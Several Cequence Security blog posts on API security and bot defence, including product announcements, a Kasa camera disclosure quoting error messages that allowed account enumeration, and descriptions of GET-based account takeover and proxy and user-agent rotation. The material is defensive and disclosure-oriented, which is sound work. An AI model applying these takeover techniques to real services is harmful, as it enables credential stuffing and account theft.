Now imagine this process repeating across multiple product teams, and you suddenly have an API proliferation problem that is amplified at enterprise scale. When multiple teams are creating APIs for their individual needs, functionality often tends to get overlapped across APIs published from multiple teams. Most common reasons for this are the following:

• Developers don’t know what already exists, so they write new APIs. Even in small organizations, and especially in large ones, it’s a challenge to keep up with all of the new APIs and technologies implemented. Without an easy way to catalog APIs and share that information across the organization and with partners, most developers will assume that the API doesn’t exist and will write a new one to complete their project. Unfortunately, without a process for cataloging and tracking API management, many shadow APIs end up in use without clarity about who’s managing them or ensuring their security and compliance.
• Developers don’t want to (or can’t) fix what’s broken, so they write new APIs. When security uncovers vulnerabilities or bugs in APIs, a developer might decide that it’s too hard to work with what they’ve got, and their best course of action is to start from scratch. In some cases, maybe in many cases, this is the absolute right thing to do. The problems arise when the old APIs aren’t appropriately deprecated, and the insecure API is allowed to continue to exist and pose a risk to the organization.
• Developers don’t want to relinquish control, so they write new APIs. While we were all taught at a young age that we should share everything, some still have a hard time with this notion. In an effort not to lose control over the API, or perhaps to avoid communicating with others, some developers will choose to write their version of an API to ensure they can make all the decisions about the specification, parameters, headers, and documentation. The result is that the enterprise ends up with redundant APIs – possibly with conflicting implementations (e.g., one is on gRPC, another is REST), or overlapping functionality.

To get a handle on your API landscape and stop unnecessary API proliferation organizations must implement a process for API management and security. Even small organizations with just dozens of APIs in use (and especially large organizations with thousands) can benefit from automated runtime discovery of its APIs. Cequence has built an enterprise security product called API Sentinel, which can automate the API discovery process for you and delivers critical capabilities needed to understand your API security posture, including:

• Runtime API Catalog: Automatic discovery of all your APIs, including those you’ve published knowingly to 3rd parties and shadow APIs. API Sentinel integrates with your existing API Gateway and proxy deployments to rapidly provide this visibility.
• API Usage Analysis: Analysis of the usage of each API endpoint, including the countries, IP Addresses, and organizations from where usage is detected. Included are insights into headers, parameters, and response codes found in real-time usage, available with time-based filtering capability.
• Continuous Risk Scoring: A dynamic assessment of each endpoint’s risk posture, determined based on multiple factors, including the strength of access control mechanism used, detection of sensitive PCI or PII data, unencrypted communication, or non-conformance to the published OpenAPI definition.
• Shadow API Discovery: API Sentinel uncovers shadow APIs — those published out of process — and the usage of hidden methods, headers, parameters or response codes.

Having the ability to catalog and share APIs across teams will help reduce the overhead of API proliferation across your dev, ops, security, and compliance teams. Of all the challenges you’ve got in your work life, getting visibility into your API landscape doesn’t need to be one of the problems you’re juggling.

If you’d like to get a complete API catalog of your own, get in touch and we’ll get you started.

When APIs Say Too Much: Discovering the Security Vulnerability

As a Midwesterner and hobby farmer I spend a lot of time solving problems. A few months ago I encountered a problem where a live 2-month-old cucumber plant just suddenly had no leaves. A wander around my greenhouse helped me discover that something was knocking things over and taking bites out of various plants, leaving all the cucumber plants with no leaves. What on earth did this? Well I wanted to set up a camera and find out.

Upon my return from the electronics store I started to look at the Kasa camera I had selected and decided I would set it up and capture whatever is eating my plants. Upon installation I realized the mobile application was connecting directly over the network to the camera, and if I wasn’t on the network I still could see the images from my camera on the mobile app. As a security professional, this concerned me.

I looked at the application request methods and given the potential sensitivity of the data in the system I wanted to ensure the data transfer was encrypted. As noted in the just published Consumer Reports (CR) Home Security Camera Buyers Guide, Kasa’s mobile application does use SSL, however since the CR analysis looked only at the public facing documentation, it did not highlight the fact that the SSL certificate isn’t pinned, so it was easy to open it up and look at the transactions. I also found that the authentication is simply BASE64 encoded username:password being passed under SSL. Security best practices dictate that the application should hash under the SSL rather than encoding and reiterated the value of pinning the certificate.

Of equal concern to me was that the authentication to the web platform, not the direct connection to the camera, was giving very verbose API error messages. Since I used my email address as my username, as most do on this platform, a simple set of requests would allow for enumeration of the user accounts on the platform. As someone who works to battle automated cyber attacks (bots) and keep automated attacks at bay, I know that having verbose API error messages on authentication endpoints leads to Account Take Over (ATO) attacks. For example:

• Sending a bad username yields {“error_code”:-20600,”msg”:”Account not found”}
• Sending a bad password yields {“error_code”:-20601,”msg”:”Password incorrect”}

Now, it is possible for an attacker to enumerate usernames based on email lists. Once the known good username list is established, the password attack can begin. ATO happens much more easily when an attacker can easily understand what a good username is and what the matching password is. This would lead to a Credential Stuffing attack to guess the passwords, otherwise the attacker would need to put in the good username and take over the account via a password reset mechanism.

When developers create applications they have to be very mindful about what the application might say to anyone that uses it. If there is a SQL error in the application, the error message shouldn’t reflect what exactly went wrong. Similarly, in authentication, error messages can tell us exactly what broke or it can just tell us something is broken and that is all. Being very verbose with error messages is a bad plan. I typically teach developers to keep the error messages generic (something went wrong, try again). I suggest a single error page and in the blocks of code that could reveal an error, point to that generic page.

Notification of Kasa Security Vulnerability

Following responsible disclosure practices, I reached out to the folks at TP-LINK, Kasa’s parent company, on March 5^th, 2020 to let them know I had discovered several security concerns in one of their Kasa model security cameras. They responded quickly and wanted more information. I shot a video of the things I was worried about and they said they would work on it. They responded quickly and wanted more information. I shot a video of the things I was worried about and they said they would work on it.

On June 11^th, TP-LINK responded with information regarding the certificate pinning and BASE64 encoding that included a new Firmware Version for the KASA camera as well as a new mobile application.

As of this writing, however, they haven’t fixed the information disclosure on their platform, and ATO with Credential Stuffing is still a possible outcome. Their APIs are telling the attacker how to be more efficient and helping the attacker figure out valid username and password combinations.

In case you are wondering, at this point, I figured out what was eating my cucumbers.

Yeah, like the Groundhog Phil.

As developers use APIs to build platforms that allow for more rapid feature release so their users can have amazing and memorable experiences, an equal amount of emphasis must be placed on ensuring users can utilize the application safely and securely. APIs make things easier, just make sure they do not become attack vectors against your platform. As a consumer, when you entrust sensitive data to a 3^rd party, you need to know if they are going to be good stewards of the data. I would have liked to have known the limitations of the security of this particular camera before buying it. As I assumed there are a few that are doing it well and some that aren’t a recent Consumer Reports Article would have helped me make a more informed decision.

Findings

• Authentication to the web platform, not the direct connection to the camera, was giving very verbose API error messages. These can be used by attackers for ATO and credential stuffing.
• Authentication is BASE64 encoded username:password being passed under SSL, where best practices recommend the application hash under the SSL rather than encoding and reiterated the value of pinning the certificate.

Disclosure Timeline

March 2, 2020 – Begin trying to find the right person to contact

March 5, 2020 – Emailed TP-LINK, Kasa’s parent company, about the findings

March 6, 2020 – TP-LINK security responded asking for more details

March 7, 2020 – Sent TP-LINK a video outlining the issues in detail

March 8, 2020 – TP-LINK replies they are working on fixes

March 20, 2020 – TP-LINK updates progress and asks if we plan on going public with the information, we informed them that we intended to discuss this openly after 90 days from the first report had expired.

March 22, 2020 – TP-LINK states they have quite a bit to fix on the platform and will need to address the ATO vulnerability later

March 31, 2020 – TP-LINK states they will push a fix at the end of April

June 4, 2020 – 90-day disclosure period ends

June 11, 2020 – TP-LINK responded with information regarding the certificate pinning and BASE64 encoding that included a new Firmware Version for the KASA camera as well as a new mobile application. ATO and Credential stuffing vulnerability have not been fixed.

June 15, 2020 – TP-LINK states the ATO/Credential Stuffing Vulnerability will be fixed later but it will take time.

July 9, 2020 – Public disclosure

*Working with TP-LINK, the security vulnerabilities brought forward have been addressed and corrected by placing limitations on the numbers of incorrect attempts on a user account and by creating an error messaging system that leads to no further user account or password enumeration.

Thank you, TP-LINK, for making your products safer for your users.

There still time to register for the upcoming OWASP Training Day: API Attacks Beyond the OWASP API Top 10 led by hacker-in-residence Jason Kent. This class is ideally suited for those who are faced with protecting APIs from attacks as well as those developers looking to learn how their APIs can be compromised and used to steal data or commit fraud.

Register for OWASP Training Day: API Attacks Beyond the OWASP API Top 10.

Summary of the Class

Let’s face it; APIs are running the world. Third-party integrations are everywhere, from social media communication to integrations allowing services to share platforms and data. As developers race to create platforms with greater connectivity and functionality, shortcuts are taken, errors are made, specifications ignored – resulting in the release of insecure APIs. No longer are front end services and frameworks enough to protect the APIs from new world, high-speed attacks.

Over the last 20 years as a hacker, researcher, and educator, I have worked with many organizations to help them stop high-speed attacks as well as sophisticated fraudsters that are constantly on the lookout for the next venue to ply their trade. In addition to case studies derived from actual attacks, I will show how I was able to attack a garage door opener API and via responsible disclosure create a much safer platform for Chamberlain customers/users to control entry into their homes.

In this 8-hour class, we will talk about API attacks my company has seen against different types of platforms and compare common real-world attack types to the API Top 10.

We will look at taking apart Android API calls, utilizing an open-source APK disassembly tool, for mobile applications, and understand the attack surface available. This tool will be distributed via a docker container so students should have the ability to run a docker.

From a web application standpoint we will learn how to analyze API calls, API parameters and how to utilize simple tools like cURL or your favorite intercept proxy, to make calls against APIs and understand the workflow to test against a range of use cases such as account take over, information disclosure, inventory take over, etc.

Attackers often have tools at their disposal that target specific organizations, and we will highlight these tools and how they work. Finally, we will look at some case studies from various places that we have seen attacks occur and current attack campaigns that have thwarted the efforts of many security practitioners and development staff. During OWASP Training Day: OWASP API Top 10, we will have a cloud environment built allowing for newly minted API security enthusiasts to try techniques and view their attacks and fingerprints in real-time.

Don’t wait – register today.

API gateways are increasingly used to help accelerate new ventures or transform existing businesses. However, the People and Process components are not as mature, and as a result, some organizations have had to deal with attackers targeting their API endpoints. Cequence Security has recently released a new product, API Sentinel, to help organizations monitor traffic through their API gateways and reduce the risk of data leakage or business logic abuse by identifying risky APIs.

API gateways are not enough to keep APIs secure

An API gateway is a management tool or cloud service that lies between front-end clients and backend services. The gateway takes in all API calls, aggregates the services needed to fulfill them, and then returns the results to the requestor. Think of them as the waiter in the restaurant who takes the orders from customers, submits them to the kitchen, and then delivers the food and drinks once prepared.

API gateways are designed to be simple to implement, scalable, and flexible to meet the needs of different application requirements. While API gateways come with features to protect against volumetric attacks and implement some form of user authentication, attackers can get around these controls by slowing down their attacks and using compromised credentials.

API Sentinel delivers added critical functionality

Like most cloud services, API gateways are designed to be used by security-minded enterprises, and as such come with some security features built-in. The Amazon API Gateway has also been audited for use across several compliance frameworks to help speed the certification process of applications that rely on them.

The Amazon API Gateway offers many of the security features available with other services on AWS, including:

• DDoS Protection from both layer 3 and layer 7 attacks
• Audit Trail to track API changes via AWS CloudTrail
• Role-based Access Control for creating and managing APIs

You can choose to implement rate limiting or additional user authentication to limit abuse, but APIs using these features are still susceptible to attacks. All of these tools and capabilities are user- and API-agnostic.

But, although API gateways are strong on managing APIs, they lack spec conformance and threat prevention functions. API Sentinel from Cequence Security provides additional necessary insights, including:

• Identifying APIs being targeted by known malicious networks,
• Providing risk scores for APIs that may be easily compromised or may leak sensitive data, and
• Detecting anomalous activity that may indicate compromised credentials or tokens, or reconnaissance activity such as an enumeration attack,
• Monitoring API endpoints for applications with regulatory requirements such as PCI or HIPAA

Tight integration with the API Gateways streamlines discovery

API Sentinel is designed to automatically enable and analyze Amazon CloudWatch logs for your Amazon API Gateway, ensuring all API transactions are monitored as new API endpoints are published and existing APIs are updated or changed as part of their application lifecycles. This is a role-based integration and does not require users to set up or manage data collection after the role is implemented, which helps to ensure no published API gets missed.

API visibility for everyone who needs it

API Sentinel provides much-needed runtime visibility to security and risk teams without requiring any intervention from the development teams.

Today, security teams and the team leading the digital transformation efforts for the organization (API COE, Application Modernization, Supply Chain Technology, Cloud Operations, etc.) benefit most from the visibility provided by API Sentinel. Once deployed in a cloud or on-premises environment, they will finally have a big picture view of all APIs, API activity, and API risk across their organization. This actionable information helps to guide conversations with development teams to improve the overall API security posture and lessen this increasingly vulnerable attack vector.

Want to get started?

Cequence Security is an Advanced Technology partner and one of the founding members of the APN Global Startup Program. And, API Sentinel was built to run on AWS from the start. If you’d like to try API Sentinel in your AWS environment you can get started today with a 30-day free trial.

We are excited to announce the general availability of Cequence API Sentinel, a new API security service designed to give you continuous run-time visibility, shadow API discovery, risk analysis, and conformance assessment for all your APIs hosted on-premises and in public clouds.

If your organization delivers APIs to external parties, such as your customers or partners, you need a centralized place to help monitor the security posture of all your published APIs, detect any risks immediately, and respond proactively to mitigate risks of data exfiltration. Today, most organizations expose multiple APIs to external parties, published from different product teams, different application stacks, and following various DevOps and security procedures. Therefore, the first step in developing a mature API security program is to discover all APIs your organization delivers to external parties and analyze their risk postures.

API Sentinel facilitates the discovery process and delivers critical capabilities needed to understand your API security posture, including:

• Runtime API Catalog: Automatic discovery of all your APIs, including those you’ve published knowingly to 3rd parties, as well as unknown shadow APIs. API Sentinel integrates with your existing API Gateway and proxy deployments to rapidly provide this visibility.
• API Usage Analysis: Analysis of the usage of each API endpoint, including the countries, IP Addresses, and organizations from where usage is detected. Included are insights into headers, parameters, and response codes found in real-time usage, available with time-based filtering capability.
• Continuous Risk Scoring: A dynamic assessment of each endpoint’s risk posture, determined based on multiple factors, including the strength of access control mechanism used, detection of sensitive PCI or PII data, unencrypted communication, or non-conformance to the published OpenAPI definition.
• Shadow API Discovery: By uploading your OpenAPI definitions for your managed APIs, you can compare your APIs’ runtime behaviors with your published specifications. API Sentinel reveals the usage of shadow APIs and the usage of hidden methods, headers, parameters or response codes.

Delivered as a modern Kubernetes application, API Sentinel rapidly integrates into your application infrastructure and with API Management products such as Amazon API Gateway and Apigee, as well as with proxies or ingress controllers such as Nginx+ or Envoy.

Runtime API Catalog

By integrating into your runtime environments via API Gateways or Proxies, API Sentinel discovers all your APIs in realtime usage, not just the ones you have published knowingly. A common source of risk is an inadvertent deviation in implementation across different environments, or from one version to another. This catalog discovers APIs hosted in multiple stages, such as dev and production, as well as multiple versions of the same API that may be exposed concurrently (e.g., v1 and v2).

API Usage Analysis

API Sentinel provides you with usage analysis of each endpoint, including the countries, IP addresses, and organizations from where usage is detected. You can also find the headers, parameters, and response codes used in runtime, and filter based on different date ranges to see how usage changes over time.

Though an API specification may list a plethora of headers and parameters that can be accepted by the API, it is insightful to observe which ones are in active use, and from which regions, orgs or locations around the world.

Continuous Risk Scoring

Across APIs spanning multiple functionalities and delivered from multiple teams, API Sentinel provides a unified dynamic assessment of risk, computed based on various risk factors. The Risk Score flags the particular risk categories that need to be investigated and remediated.

• Access Control – a quantitative assessment of the strength of authentication used for the endpoint. A high risk score is issued for unauthenticated endpoints, or those using weak forms of auth such as HTTP Basic Auth. A low risk score indicates a strong form of authentication, such as OAuth2/OIDC.
• Sensitive Data Exposure – a quantitative assessment of whether sensitive data is detected at runtime or if unencrypted communication is detected. The product comes pre-defined with definitions for PII and PCI, including US Social Security Numbers and credit card numbers. It can be customized to add custom expressions specific to your applications as well.
• Schema Non-Conformance – an indicator of whether the runtime usage conforms with the published OpenAPI definition. It is common to discover runtime usage of hidden headers, parameters, and response codes which weakens your security posture.

Shadow API Discovery

Shadow APIs are hidden endpoints that offer functionality unbeknownst to the organization. API Sentinel allows you to upload your OpenAPI definitions, so they can be compared with actual runtime usage. The differences between runtime usage and published specifications reveal unpublished endpoints, methods, or parameters, that may pose a significant security risk to the organization.

API Sentinel complements our Cequence API Spartan and App Firewall products, offering the industry’s only multi-threat API protection solution, unifying visibility and protection from malicious bots, and business logic abuse, and targeted vulnerability attacks.

API Sentinel can give you a better handle on the security posture of your APIs. Visit the product page for an overview and check out the explainer video and demo. You can also request a live demo of the product so we can walk you through the detailed capabilities.

This year is turning out to be the year that kicks every company’s digital transformation into high gear in order to support work-from-home and shelter-in-place restrictions. With such a quick shift to and expansion of API-based architectures, it’s important to note the security vulnerabilities and expanded attack surface that are now interesting targets for bad actors.

A recent analysis of our clients showed that across all industries – social media and entertainment, retail, dating, and financial services –attackers deploy various methods to abuse business logic or abuse APIs. Universally, they all experienced some form of an account takeover or fake account creation attack. And all but financial services were also hit with hard-to-stop content scraping attacks.

But, why are APIs such a common attack surface now?

Well, pretty much all the reasons developers love APIs are what makes hackers love them too. They are flexible, easy-to-use, and play nice with automation. So, armed with stolen credentials, bad actors can leverage a variety of tools to enumerate and discover your APIs and identify vulnerabilities that either give them access to accounts that can be taken over or to assume roles that give them more access to data or systems.

The good news is that with API protections in place, and the visibility needed to discover, assess, and mitigate API vulnerabilities also in place, you can make your web and mobile applicants an unattractive target for bad actors. Although some will be tenacious, the majority will move onto easier targets. And, these days, there are plenty more easy API targets out there.

This blog will describe how account takeovers (ATO) can be executed against APIs using GET methods, as opposed to POST. It’s an excellent example of how bad actors will analyze an application to uncover potential attack vectors.

A Brief Primer on GET and POST

The GET method allows you to fetch information from a website or an API. GET supports passing query parameters, path parameters, or HTTP request headers to display dynamic content from a site. POST is often used to send information from the client to server using a form, JSON, or other formats.

Examples include:

• users manually filling out a form to perform logins or to create new accounts.
• a script can also automatically collect information from the browser or mobile device and sends it back to the server.

The Role of Developers and Development Frameworks

Developers will publish their web application to server-side frameworks, which then process the method and parameter requests and respond with appropriate content.

Basic server-side frameworks need the developers to parse the parameters based on the method type. But, advanced server-side frameworks like Spring, PHP, and others automatically parse these parameters, be it query parameters in the GET request or the form parameters in the POST request and normalize them in a simple key-value collection.

Unless explicitly enforced, parameters like username and password combination can be passed as GET query parameters or POST form parameters, and they are treated the same way by the backend. Developers often implement logic that uses the normalized parameters and does not care about how these parameters were submitted.

Bad Actors Moving from POST to GET

As first-generation bot prevention solutions became more widespread, bad actors began to adapt and take advantage of a fundamental architectural loophole. Those offerings relied on device fingerprinting through JavaScript or client-side telemetry delivered via a mobile SDK. The architecture of these tools primarily relies on the user’s device first executing this device fingerprinting code, which is delivered from the server. Then on a subsequent login attempt, the bot detection tool will devise, based on the telemetry it receives, if the request is a “bot or not.”

This architecture works fine for basic bots running common browser automation tools like PhantomJS or Selenium. Those mimic the flow of a regular user, first retrieving the login page via a GET request and then sending in login credentials via a subsequent POST request. The second POST request will deliver all the telemetry data the tool needs to decide if it’s a “bot or not.” However, this design leaves a crack in the door, particularly over the API channel, and the bad actors began to drive a truck through that crack.

GET-based ATOs via APIs

Leveraging this crack in the door is the technique we call GET-based ATO attacks. Attacks use it to escape detection and mitigation efforts by merely avoiding the need to first GET a page and then POST to a server.

Many mobile apps are driven primarily through APIs, and those mobile apps often have an entire set of functions and areas behind an authentication gate. A user must be logged in to view profiles on a dating site. They must be logged in to view items in a shopping cart and so on.

The need for an application to understand if a user is logged in over a stateless API is a problem that’s been around forever and can be solved with secure coding practices. In this case, the problem lies in enumerating and understanding all possible APIs in your ecosystem and ensuring that no APIs accessed through GET requests could return different responses based on something a user themselves is inputting – such as credentials as parameters.

After their initial bot campaigns via POST requests on traditional login endpoints are shut down, bad actors will sign up for a valid account manually. Then, they will enumerate and reverse engineer the API calls that access seemingly benign data, such as a profile dashboard or shopping cart.

If they see that authentication is taking place through a susceptible method, they will begin to modify a tool to carry out an ATO. Some of the areas vulnerable to authentication schemes are:

• HTTP Basic Auth through the Authorization header
• Bearer Tokens & OAuth
• HTTP Digest Auth
• Custom headers and/or cookies that are app-specific

From POST to GET-based ATOs – a Customer Timeline

In one customer example, we observed more than 60+ million ATO attempts through POST requests every week. Upon enabling mitigation and stopping the ATOs, the bad actors shifted to GET-based ATOs against APIs within three weeks.

The GET-based ATO campaigns scaled quickly to 2.2 million requests per week, and now they continue to enumerate and probe dozens of APIs using the same logic. We are observing more than 50+ million GET-based ATO attempts per week. Additionally, ATOs using POST have dropped to a mere 500,000 attempts per week.

To provide additional context, GET-based ATOs saw a 2000% increase, while POST-based ATOs showed a 99.99% reduction. Those GET-based ATO campaigns attempted to hit more than 35 different APIs simultaneously as the campaign scaled. To an outsider, it may seem like this rapid, massive scaling up of attack volume via GET requests would be easily detectable. Still, there’s another reason an attacker would prefer to hide in plain sight among GET requests.

On top of their ability to avoid JavaScript fingerprinting, the average volume of GET requests compared to POST requests in a typical application can be around 10X. That means that detection heuristics based on volume, traffic analysis, and rate limiting will struggle to adapt and adjust to the bots that have become a needle in a 10X bigger haystack.

Explore an Advanced Bot Prevention Solution with Cequence

Cequence Security is the only bot prevention solution that does not rely on JavaScript or SDK to collect attacker telemetry. Learn more about how we can help prevent ATO at your organization here.

The last Tales from the Frontlines post focused on a single customer and the attack volume increase they experienced following the COVID-19 lockdown. In this installment, we will look at the increasingly sophisticated game of cat and mouse defenders are playing with attackers, including high-volume diversionary tactics commonly used as distractions from the real attacks.

When attackers change their tactics, the mitigation techniques of organizations need to evolve with them. When bad actors attempt to take over accounts, create fake accounts, steal inventory, or utilize someone else’s financial information to commit fraud, they must maintain the attack.

To understand these attacks, one must also understand the attacker’s motivation. In most instances, the motivation is purely financial. People have money, and attackers want it. Often, it is how the attacker approaches the situation that determines the outcome.

For instance, the romance industry (various dating sites and “computer dating” platforms) are highly targeted because, according to the FBI, they are the second most lucrative attack type, just behind email “phishing” campaigns.

Additionally, retailers that utilize gift card services, rewards programs, and other means to entice legitimate customers with loyalty points leading to free items, are also attracting the attention of BOT attackers. Usually, the sole intent is theft, but often it isn’t the retailer that notices the theft until after the damage is done. Loss prevention used to be cameras in stores. Now it is alerts on systems that were never intended to be used for that specific purpose.

When met with resistance to their efforts, many attackers modify their tactics and techniques to continue their malicious actions. As defenders, we must stay one step ahead of the attackers.

Here are some of the attack trends we are seeing in our customers’ environments.

Increased Use of Commercial Proxy Networks to Mask Identity and Location

Proxy networks that enable an attacker to distribute their attack, hide their identity, and mask their location have become big business. The most significant change we see is that attackers are using multiple commercial proxy networks, not just the free ones. They are available with almost any geography as the exit point for the attack and vary in price based on the bandwidth and speed needed.

As we reported in the Bulletproof Proxy update, these tools make it easier to anonymize traffic’s originating country, ISP, etc. The first assumption most attackers have is that their IP address cannot be associated with thousands of requests against the same server. Rotating this IP address has become table stakes in an attack. We often see the attackers rotating every one or two transactions, changing between ISPs and countries on each subsequent request.

When drilling down into our customers’ environments, it isn’t uncommon for a single attacker to hit a handful of URIs from as many as 30,000 different IPs.

In a few cases, we see overall volumes to well-known endpoints increasing, /login and /password-reset are examples of places that are consistently under attack. But, we’ve also noticed behaviors that use volume to hide, such as a few attempts with known dumped credentials, and sometimes the endpoints get rotated while an attack uses volume on another endpoint to disguise activity.

More Rapid Changes to User-Agent Behavior

Once the attacker has established their attack infrastructure, they will want to consider what they look like to the end (target) systems. If they are targeting Android API endpoints, attackers don’t want to be using IOS based user-agents. But, that isn’t the only behavior that attackers have to monitor and understand.

All manner of tracking cookies and session tokens might be associated with a user’s activity. The same session token may or may not work with different user accounts or browser/mobile app types. Mitigation efficacy depends on the ability to see that the same user is coming from 12,000 different IPs and uses the same session token.

As the attackers modify their behavior, mitigation efforts change. If protection isn’t automated, the attackers will begin to win for a bit, then the defenders stop them. The attackers adjust, and then the defenders change.

Without automation detection strategies, the whole thing becomes a huge game of whack-a-mole.

Automated Detection is Needed

The way we detect attacks has changed and will continue to change as the bad actors’ tactics and techniques evolve. As attack sophistication increases, mitigation efforts need to maintain pace accordingly.

One thing we have observed within our customer base is that many never had an automation strategy against automated attacks before using our platform, and the attacks initially detected aren’t very sophisticated. When they first deploy Cequence, the alerts and triggers are often on straightforward things. Over time, the attacks tend to become more nuanced, requiring more information to set off the triggers and alerts.

For example, in the early stages, username and password attempts from the MySpace dump (yes, they still use it) may occur. Then, we’ll observe things like country language mismatching combined with inferred vs. tested browser types added onto known proxy networks. As our platform adjusts to the attackers, we end up in a situation where we don’t care where the moles pop up. They will get swiftly whacked.

Though attacker volumes may be changing, and though the attackers may be distracting us with noise to keep their sophisticated attacks working, we are still catching their bad behavior.

Applying data science to user behavior and understanding attackers means that we can maintain detection efficacy no matter how much they change, staying a step ahead as defenders.

In 1999, Bruce Schneier wrote, “complexity is the worst enemy of security.” Today, I’d argue that speed may be overtaking that top spot or coming darned close. There were two stories published recently about security and privacy issues arising out of apps deployed too quickly.

The first disclosure involved North and South Dakota’s COVID-19 contact tracing app, which violated the app’s privacy policy by sharing location data with a third-party app, Foursquare. The second was the realization that the state of Alabama’s pandemic unemployment app had exposed social security numbers and banking information for thousands of applicants. In both cases, it was indicated that, in a rush to build and deploy the applications, organizations likely skipped necessary security tests and reviews (Colorado, Illinois, and Ohio also disclosed similar issues).

A Familiar Pattern: Speed Outpacing Security

These kinds of stories are nothing new. Four years ago, cloud vulnerabilities were a reoccurring theme. Often in those cases, developers new to working and securing the cloud resources would inadvertently leave AWS S3 buckets open or ports exposed as they deployed new applications and features without security oversight.

Over time, after many public breaches, and countless news articles, cloud service providers started building in more guardrails so organizations could avoid those mistakes. Also, more tools came to market, providing security teams with broad visibility into the risk posture of their organizations’ cloud environments.

COVID-19 Accelerates the Risk

Fast-forward to 2020, and COVID-19 is quickly changing how we work, shop, dine, learn, entertain, and seek medical attention—really all parts of our lives. We’ve all likely encountered some new app or feature that didn’t exist in February, from new food or grocery ordering apps to contact tracing apps and unemployment assistance apps.

This makes me wonder how many apps, rushed to market to accommodate the reality of shelter-in-place and quarantine, are leaving our data or the businesses exposed?

Why Unsecured APIs Raise the Stakes

It’s of particular concern when those apps leverage easy-to-build and easy-to-consume APIs to speed development further. When secured, these APIs are a smart way to interconnect endpoints (and systems) to pass data and deliver critical features and functionality. But, when left unprotected or misconfigured, they can open the flood gates, giving hackers access to data and making it easier to wreak havoc and commit fraud. Targeting the API instead of scripting a form fill allows a bad actor to leverage the same benefits of ease of use, efficiency, and flexibility that APIs bring to the development community.

Many enterprises are rapidly moving towards consolidating all their business logic behind APIs, where the web and mobile applications are just user-interface shims around those APIs. This rapid movement, as highlighted with several examples above, exposes new vulnerabilities, which are waiting to be exploited.

Questions Every Organization Should Ask About Its APIs

So, with guardrails in place (and hopefully you’re using them), it’s time for organizations to turn their attention to APIs. You can start by asking some simple, but often hard to answer questions:

• Do you know all the APIs in use across your organization, including shadow APIs?
• Does security have the ability to assess API risk across both cloud and on-premises environments?
• Can you protect your APIs from automated attacks and malicious activity?
• Have the APIs drifted from their original specification and has that increased your risk?
• Are the APIs accidentally, even in the form of error responses, leaking sensitive information?

Assume You’re Vulnerable

If you’d like some help devising your organization’s API security program, we’d be glad to help you. And, stay tuned, because we’ll be providing new tools to help you answer these questions soon. Meanwhile, I urge everyone who quickly published apps in response to the COVID-19 pandemic to do a security review.

Like the virus, you may be asymptomatic today, but that doesn’t mean you’re not vulnerable.

Want to learn more about avoiding potential releases of insecure APIs and applications? Contact us today.

There’s an old saying “you don’t know what you don’t know.” While there are many ways that we can go about filling the gaps in our knowledge – more reading and education, hands-on-investigations and experiment, or maybe even using AI and machine learning – in cyber security I’ve found that if you want to know what’s happening in your environment, you only have to ask about what’s happening in your neighbor’s. If your peers are getting hit with automated attacks against your APIs, you’re likely getting hit, too.  If your competitors are dealing with fraud and ATO, it’s likely the hackers will be making similar attempts on your site, too.

A recent application security survey done in conjunction with Information Security Media Group (ISMG), found that 30% of respondents had no idea how many apps they had deployed. Whether there were too many to count, too many autonomous business groups with publishing permission, or they lacked visibility, it’s very likely that these applications lack the layered security needed to adequately defend against automated attacks. A third of the total respondents also said they had no idea how many attacks they’ve had on their web, mobile and API-based apps in the past year.

30% of respondents say they have too many apps deployed across their organization to count, or simply lack the visibility into how many apps they have deployed.

With more than half (57%) of applications running in the cloud, the survey group also seemed most concerned about protecting web applications (60%) over mobile or API-based apps. This focus on the web apps is perhaps not too surprising because those are the applications that most companies have visibility into. It’s also not surprising given that APIs are often viewed as plumbing for web and mobile apps as opposed to apps themselves. Whether using web application firewalls, CDN, Bot mitigation solutions, API security solutions, or a combination of all four, web applications are most likely to have these security solutions deployed to protect them. Security teams have the most information (and hence most concern) about the apps they’re protecting.

It’s concerning that APIs and mobile apps (which are most likely API-based) have significantly fewer protections than web apps. In fact, respondents reported using security solutions to protect APIs at a rate 50% less than web apps. Because APIs make it easier to execute automated attacks of all kinds allowing hackers to access more data and create more harm, faster, they need equal if not greater protection. In fact, the research done by the CQ Prime Threat Research Team found that 98% of ATO traffic originating from the Bulletproof Proxy networks targeted mobile APIs.

I empathize with security teams. The popularity of the cloud and DevOps practices has made it difficult if not nearly impossible for them to keep up with all the applications within an organization. They are constantly balancing the need to enforce security but not impact innovation and the speed of development. But security is typically outpaced and out-resourced by both their internal teams and hackers.

The best thing an organization can do is gain visibility into the applications and APIs that they have in use, automatically (not manually) and as frictionless as possible. Get an understanding about who’s using them, who has access to them and what are they connecting to. With those facts in hand, it’s easier to prioritize the work to fix vulnerabilities and then start building the control mechanisms and protections around those apps and APIs.

While the world is battling a Pandemic, our customers are battling an increase in bot activity, as evidenced by traffic and attack patterns over the last four weeks. To an attacker, being in lockdown means they may have more time to focus on their malicious actions.

API endpoints seem to be taking more of the brunt of the attacks than normal; in one case, 24 million events occurred in total against web and API, representing 4.5 million events in legitimate traffic with 19.5 million events being attack traffic. The lion’s share of the attack traffic, 15 million events, was aimed at one login API endpoint for the android application. This attack has been ongoing since lockdown orders began going into place and has changed very little.

A timeline of attack increases we saw at one customer:

• Week of April 17^thsaw malicious traffic increase by 40% to 28M generated by several campaigns. One of the more significant campaigns targeted the Android Login API with traffic routed through Azure, as well as a Spectrum, Comcast, AT&T, and Turk Telekom.
• Week of April 23^rdsaw a massive spike of 279% to 78M with one attack campaign peaking at 100,000 requests per minute. The largest campaign targeted the Android login API with 21.5M requests over 13 hours. The attack rotated user agents with high frequency, delivering over 1M US variations. Additional attack characteristics include requests exhibited suspicious product parameters and z-device IDs. The activity was seen mainly coming from Indonesian and Chinese infrastructure, such as PT Telkom Indonesia and China Telecom.
• As time moved on in April, the login API was heavily targeted as the attackers searched for ways to ensure more authentication attempts were successful. One such method was to vary the attacker fingerprint by changing IP addresses and User Agent (browser types). The latest campaign shows almost 1.5 million IP addresses using over 4 million different user agents attacking a single API endpoint.
• Week of May 1st showed yet another increase in malicious traffic to 139M requests or an 85% week over week increase. This week, both the web login and the Android login API were hit hard. The web login attack was easily detected – a single UA, a small set of IP addresses – as 100% malicious and blocked with ease. The attack against the Android API was far more sophisticated. This campaign emanated from outside the in-place geofence rules. It exhibited the following characteristics: invalid device token, a missing time tracking token in the query params, or performing UA rotation for a given source IP.

From an operational perspective, organizations have to either take on the greater load from the attackers or their applications are going to start to perform poorly. In several cases, the operations teams within our customer base are tuning for 90%+ of their traffic to be bot attacks, with only 10% being legitimate transactions. Expensive operational build-out for traffic that never generates revenue is hard to justify, and cutting the attack traffic out of the picture results in high-speed and highly responsive applications that users enjoy.

